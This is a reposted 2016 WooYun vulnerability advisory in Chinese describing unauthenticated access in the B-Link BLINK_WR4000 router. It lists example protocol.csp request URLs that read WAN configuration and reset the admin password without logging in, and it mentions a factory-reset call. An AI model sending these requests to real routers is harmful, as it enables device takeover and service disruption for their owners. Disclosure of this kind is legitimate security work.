必联BLINK_WR4000无需登录可重置密码/获取配置/恢复出厂等

admin 2017年5月1日00:50:45评论442 views字数 276阅读0分55秒阅读模式
摘要

2016-05-05: 细节已通知厂商并且等待厂商处理中
2016-05-10: 厂商已经确认,细节仅向厂商公开
2016-05-20: 细节向核心白帽子及相关领域专家公开
2016-05-30: 细节向普通白帽子公开
2016-06-09: 细节向实习白帽子公开
2016-06-24: 细节向公众公开

漏洞概要 关注数(2) 关注此漏洞

缺陷编号: WooYun-2016-205144

漏洞标题: 必联BLINK_WR4000无需登录可重置密码/获取配置/恢复出厂等

相关厂商: http://www.b-link.net.cn/

漏洞作者: 路人甲

提交时间: 2016-05-05 14:50

公开时间: 2016-06-24 07:30

漏洞类型: 未授权访问/权限绕过

危害等级: 高

自评Rank: 15

漏洞状态: 已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 未授权访问 路由器 WR4000

0人收藏


漏洞详情

披露状态:

2016-05-05: 细节已通知厂商并且等待厂商处理中
2016-05-10: 厂商已经确认,细节仅向厂商公开
2016-05-20: 细节向核心白帽子及相关领域专家公开
2016-05-30: 细节向普通白帽子公开
2016-06-09: 细节向实习白帽子公开
2016-06-24: 细节向公众公开

简要描述:

固件型号 BLINK_WR4000
固件版本 1.24.12 (反正目前提示是最新的)

很黄很暴力!!!

详细说明:

前面提的登录绕过说了(不知审核了没有),登录只是前端通过cookie验证,那么后端估计没验证的可能性也比较大,大致看了下,所有核心操作几乎都在config.js这个文件里,通过ajax交互数据,部分源码如下

必联BLINK_WR4000无需登录可重置密码/获取配置/恢复出厂等

漏洞证明:

随便找几个操作测试,均在未登录的情况下,直接操作

获取WAN信息,配置信息opt=wan_conf

**.**.**.**/protocol.csp?fname=net&opt=wan_info&function=get&math=

必联BLINK_WR4000无需登录可重置密码/获取配置/恢复出厂等

重置admin密码

**.**.**.**/protocol.csp?fname=system&opt=login_account&function=set&user=admin&password=admin

必联BLINK_WR4000无需登录可重置密码/获取配置/恢复出厂等

重启路由,action为空时是恢复出厂设置

必联BLINK_WR4000无需登录可重置密码/获取配置/恢复出厂等

error状态为0表示成功,这个可以看代码,还有很多,就不一一试了,几乎都没有验证权限。。。

修复方案:

会忽略么?

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2016-05-10 07:26

厂商回复:

CNVD未直接复现所述漏洞情况,暂未建立与软件生产厂商的直接处置渠道,待认领。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin